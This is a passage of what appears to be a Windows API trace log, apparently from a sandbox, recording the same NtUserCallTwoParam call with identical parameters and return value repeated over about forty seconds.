[0155.252] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0155.392] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0155.533] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0155.673] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0155.813] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0155.954] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0156.094] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0156.234] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0156.375] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0156.515] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0156.656] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0156.796] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0156.936] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0157.077] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0157.223] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0157.358] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0157.498] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0157.639] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0157.779] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0157.919] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0158.060] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0158.200] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0158.340] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0158.481] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0158.621] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0158.762] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0158.902] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0159.043] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0159.183] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0159.323] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0159.464] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0159.604] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0159.745] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0159.885] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0160.029] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0160.166] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0160.306] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0160.446] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0160.587] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0160.727] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0160.868] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0161.008] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0161.149] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0161.289] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0161.429] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0161.570] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0161.710] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0161.850] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0161.991] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0162.131] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0162.272] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0162.412] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0162.552] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0162.693] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0162.833] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0162.974] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0163.114] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0163.255] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0163.395] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0163.535] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0163.676] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0163.816] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0163.957] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0164.097] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0164.237] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0164.378] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0164.518] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0164.658] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0164.799] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0164.940] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0165.080] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0165.220] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0165.360] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0165.501] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0165.641] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0165.782] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0165.922] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0166.063] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0166.203] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0166.343] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0166.484] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0166.624] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0166.765] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0166.905] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0167.045] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0167.186] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0167.326] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0167.466] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0167.607] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0167.747] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0167.888] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0168.031] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0168.168] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0168.309] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0168.449] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0168.590] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0168.730] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0168.871] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0169.011] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0169.153] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0169.292] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0169.432] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0169.572] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0169.713] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0169.853] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0169.994] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0170.134] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0170.274] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0170.415] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0170.555] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0170.696] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0170.836] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0170.976] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0171.117] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0171.257] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0171.398] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0171.538] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0171.678] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0171.821] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0171.959] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0172.100] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0172.240] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0172.381] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0172.521] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0172.661] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0172.802] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0172.942] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0173.082] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0173.223] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0173.363] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0173.504] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0173.644] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0173.784] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0173.925] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0174.065] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0174.206] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0174.346] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0174.487] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0174.633] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0174.767] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0174.908] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0175.048] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0175.188] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0175.329] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0175.469] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0175.611] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0175.750] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0175.890] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0176.034] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0176.171] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0176.312] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0176.458] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0176.593] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0176.733] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0176.873] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0177.014] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0177.154] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0177.294] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0177.435] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0177.575] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0177.716] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0177.856] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0177.996] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0178.137] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0178.277] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0178.418] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0178.558] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0178.698] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0178.839] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0178.979] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0179.120] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0179.260] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0179.400] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0179.541] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0179.681] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0179.822] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0179.962] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0180.103] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0180.245] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0180.383] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0180.524] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0180.664] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0180.804] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0180.945] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0181.085] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0181.226] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0181.366] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0181.506] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0181.647] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0181.787] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0181.928] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0182.068] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0182.208] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0182.349] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0182.489] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0182.630] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0182.770] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0182.911] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0183.051] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0183.191] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0183.332] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0183.472] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0183.613] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0183.753] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0183.893] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0184.034] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0184.174] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0184.315] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0184.457] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0184.596] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0184.738] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0184.876] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0185.017] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0185.157] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0185.297] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0185.438] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0185.584] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0185.719] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0185.859] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0185.999] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0186.140] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0186.280] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0186.421] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0186.561] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0186.701] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0186.842] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0186.982] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0187.124] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0187.263] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0187.417] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0187.564] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0187.714] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0187.872] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0188.012] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0188.152] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0188.293] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0188.433] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0188.573] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0188.714] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0188.854] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0188.994] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0189.135] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0189.275] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0189.416] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0189.556] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0189.696] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0189.837] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0189.977] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0190.118] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0190.258] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0190.399] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0190.539] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0190.679] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0190.822] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0190.960] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0191.100] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0191.241] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0191.381] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0191.522] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0191.662] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0191.802] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0191.943] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0192.083] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0192.224] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0192.364] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0192.504] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0192.645] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0192.785] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0192.926] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0193.066] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0193.207] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0193.347] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0193.487] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0193.628] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0193.768] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0193.909] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0194.060] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0194.189] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0194.336] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0194.470] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0194.610] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0194.751] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0194.892] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0195.055] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0195.188] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0195.328] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0195.469] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0195.609] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0195.749] NtUserCallTwoParam 